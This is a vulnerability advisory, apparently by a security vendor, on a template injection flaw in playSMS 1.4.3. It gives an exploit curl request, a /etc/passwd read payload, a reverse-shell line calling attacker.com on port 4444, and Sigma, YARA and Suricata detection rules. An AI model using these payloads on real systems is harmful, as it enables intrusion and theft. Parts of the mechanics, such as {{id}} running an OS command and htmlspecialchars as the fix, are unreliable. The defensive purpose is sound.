CVE-2024-6469

Executive Summary

CVE-2024-6469 is a code injection vulnerability in playSMS version 1.4.3, specifically within the Template Handler component. The flaw resides in the /index.php?app=main&inc=feature_firewall&op=firewall_list endpoint, where the IP address argument is improperly sanitized. An attacker can inject arbitrary code by supplying a payload such as {{id}}, which is evaluated by the template engine. This allows for remote code execution (RCE) with the privileges of the web server user. The vulnerability has been publicly disclosed, and proof-of-concept (PoC) code is available. No official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct flaw in the playSMS application source code. The risk is limited to organizations that deploy playSMS directly.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The exploit does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited information disclosure.
• Integrity Impact: Low (I:L) – Limited modification of data.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit and has a public PoC, but the impact is limited to low confidentiality and integrity.

Deep Dive & Mechanics

The vulnerability is a classic Server-Side Template Injection (SSTI). The playSMS application uses a template engine (likely Twig or a similar PHP-based engine) to render dynamic content. The firewall_list feature accepts an IP address as input and passes it directly to the template engine without sanitization.

When an attacker supplies {{id}}, the template engine interprets the double curly braces as a template expression and executes the id command on the underlying operating system. This results in the output of the id command being embedded in the response.

Root Cause: The application fails to escape or validate user input before passing it to the template engine. The IP address parameter is not filtered for template syntax.

Attack Flow:

1. Attacker sends a GET request to /index.php?app=main&inc=feature_firewall&op=firewall_list with the IP address parameter set to {{id}}.
2. The application processes the request and passes the parameter value to the template engine.
3. The template engine evaluates {{id}} as a template expression, executing the id command.
4. The output of the id command (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)) is returned in the HTTP response.

Vulnerable vs. Patched Code

Vulnerable Code (playSMS 1.4.3):

// In the firewall_list feature handler
$ip_address = $_GET['ip_address']; // No sanitization
$output = $template_engine->render('firewall_list', ['ip_address' => $ip_address]);
echo $output;

Patched Code (Hypothetical):

// Properly escape the input
$ip_address = htmlspecialchars($_GET['ip_address'], ENT_QUOTES, 'UTF-8');
$output = $template_engine->render('firewall_list', ['ip_address' => $ip_address]);
echo $output;

The patched version uses htmlspecialchars() to escape HTML entities, preventing the template engine from interpreting the input as code. Alternatively, the application should validate that the input is a valid IP address using filter_var($ip_address, FILTER_VALIDATE_IP).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running playSMS 1.4.3 with the firewall feature enabled.
• Network access to the web interface.

Exploit Steps:

1. Identify the vulnerable endpoint: /index.php?app=main&inc=feature_firewall&op=firewall_list
2. Send a crafted request with the IP address parameter set to a template injection payload.

Example Request (using cURL):

curl -G "http://target.com/index.php?app=main&inc=feature_firewall&op=firewall_list" --data-urlencode "ip_address={{`id`}}"

Expected Response: The response will contain the output of the id command, e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data).

Advanced Payloads:

• Execute arbitrary commands: {{cat /etc/passwd}}
• Reverse shell: {{bash -c 'exec bash -i &>/dev/tcp/attacker.com/4444 <&1'}}

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests to /index.php with app=main&inc=feature_firewall&op=firewall_list and suspicious ip_address parameters containing {{ or }}.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Defense:

• Immediately restrict access to the vulnerable endpoint using a Web Application Firewall (WAF) rule that blocks requests containing {{ in the ip_address parameter.
• If possible, disable the firewall feature until a patch is applied.
• Implement input validation to ensure the ip_address parameter is a valid IP address.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /index.php?app=main&inc=feature_firewall&op=firewall_list with ip_address containing {{ or }}.
  • Outbound connections from the web server to attacker-controlled IPs on unusual ports (e.g., 4444 for reverse shells).

• File System IOCs:

  • Unexpected files in the web root (e.g., /var/www/html/).
  • Modified system binaries or configuration files.

• Process IOCs:

  • Unusual processes spawned by the web server user (e.g., www-data running bash, nc, or python).

Detection Engineering

YARA Rule

rule playSMS_SSTI_Exploit {
    meta:
        description = "Detects attempts to exploit CVE-2024-6469 in playSMS"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-6469"
    strings:
        $ssti_pattern = "{{`" ascii wide nocase
        $ssti_pattern2 = "{{" ascii wide nocase
        $ssti_pattern3 = "}}" ascii wide nocase
        $url_pattern = "/index.php?app=main&inc=feature_firewall&op=firewall_list" ascii wide nocase
    condition:
        all of ($url_pattern) and any of ($ssti_pattern*)
}

Sigma Rule

title: PlaySMS SSTI Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests targeting the playSMS firewall_list endpoint with template injection payloads
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6469
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/index.php?app=main&inc=feature_firewall&op=firewall_list'
        cs-uri-query|contains: '{{'
    condition: selection
falsepositives:
    - Legitimate use of template syntax in other contexts (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6469 PlaySMS SSTI Exploit Attempt"; flow:to_server; content:"/index.php?app=main&inc=feature_firewall&op=firewall_list"; http_uri; content:"{{"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the firewall feature in playSMS configuration until a patch is available.
2. Apply a WAF rule to block requests containing {{ in the ip_address parameter.
3. Restrict network access to the playSMS web interface to trusted IPs only.

Long-Term Fix:

• The vendor must release a patch that properly sanitizes user input before passing it to the template engine. The fix should include:
  • Input validation to ensure the ip_address parameter is a valid IP address.
  • Output encoding to prevent template injection.
• If no patch is forthcoming, consider migrating to an alternative SMS gateway solution.

Workaround:

• Modify the source code manually to add input validation and sanitization as shown in the "Vulnerable vs. Patched Code" section.

Valters IT
DevSecOps & Cyber Threat Intelligence